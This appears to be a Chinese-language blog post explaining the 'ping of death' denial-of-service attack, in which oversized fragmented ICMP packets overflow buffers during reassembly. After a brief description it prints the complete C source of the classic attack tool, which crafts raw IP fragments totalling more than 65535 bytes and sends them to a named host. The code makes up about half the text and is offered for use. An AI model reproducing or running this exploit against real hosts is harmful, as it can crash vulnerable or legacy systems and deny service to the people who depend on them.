Ping of Death
在因特网上,ping of death是一种拒绝服务攻击,方法是由攻击者故意发送大于65536比特的ip数据包给对方。 TCP/IP的特征之一是碎裂;它允许单一IP包被分为几个更小的数据包。在1996年,攻击者开始利用那一个功能,当他们发现一个进入使用碎片包可以将整个IP包的大小增加到ip协议允许的65536比特以上的时候。当许多操作系统收到一个特大号的ip包时候,它们不知道该做什么,因此,服务器会被冻结、当机或重新启动。
ICMP的回送请求和应答报文通常是用来检查网路连通性,对于大多数系统而言,发送ICMP echo request 报文的命令是ping ,由于ip数据包的最大长度为65535字节。而ICMP报头位于数据报头之后,并与ip数据包封装在一起,因此ICMP数据包最大尺寸不超过65515字节利用这一规定,可以向主机发动 ping of death 攻击。ping of death 攻击 是通过在最后分段中,改变其正确的偏移量和段长度的组合,使系统在接收到全部分段并重组报文时总的长度超过了65535字节,导致内存溢出,这时主机就会出现内存分配错误而导致TCP/IP堆栈崩溃,导致死机!
ping_of_death简述summarization:
通过分片传输大于64k的包,导致系统崩溃
vulnerable system:
old windows version or old linux version
in rfc 791 desctibed the maximum ip packet size is 65535, if a system has't check fragment size, when reassemble fragments may cause buffer overflow!
bottom is the sketch map for ping_of_deatch.
below is the ping_of_death source .
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
/*
* If your kernel doesn't muck with raw packets, #define REALLY_RAW.
* This is probably only Linux.
*/
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
int
main(int argc, char **argv)
{
int s;
char buf[1500];
struct ip *ip = (struct ip *)buf;
struct icmp *icmp = (struct icmp *)(ip + 1);
struct hostent *hp;
struct sockaddr_in dst;
int offset;
int on = 1;
bzero(buf, sizeof buf);
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc != 2) {
fprintf(stderr, "usage: %s hostname
", argv[0]);
exit(1);
}
if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, "%s: unknown host
", argv[1]);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}
printf("Sending to %s
", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* kernel fills in */
ip->ip_src.s_addr = 0; /* kernel fills in */
dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;
icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
/* the checksum of all 0's is easy to compute */
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
ip->ip_off = FIX(offset >> 3);
if (offset < 65120)
ip->ip_off |= FIX(IP_MF);
else
ip->ip_len = FIX(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");
}
if (offset == 0) {
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
}
}
}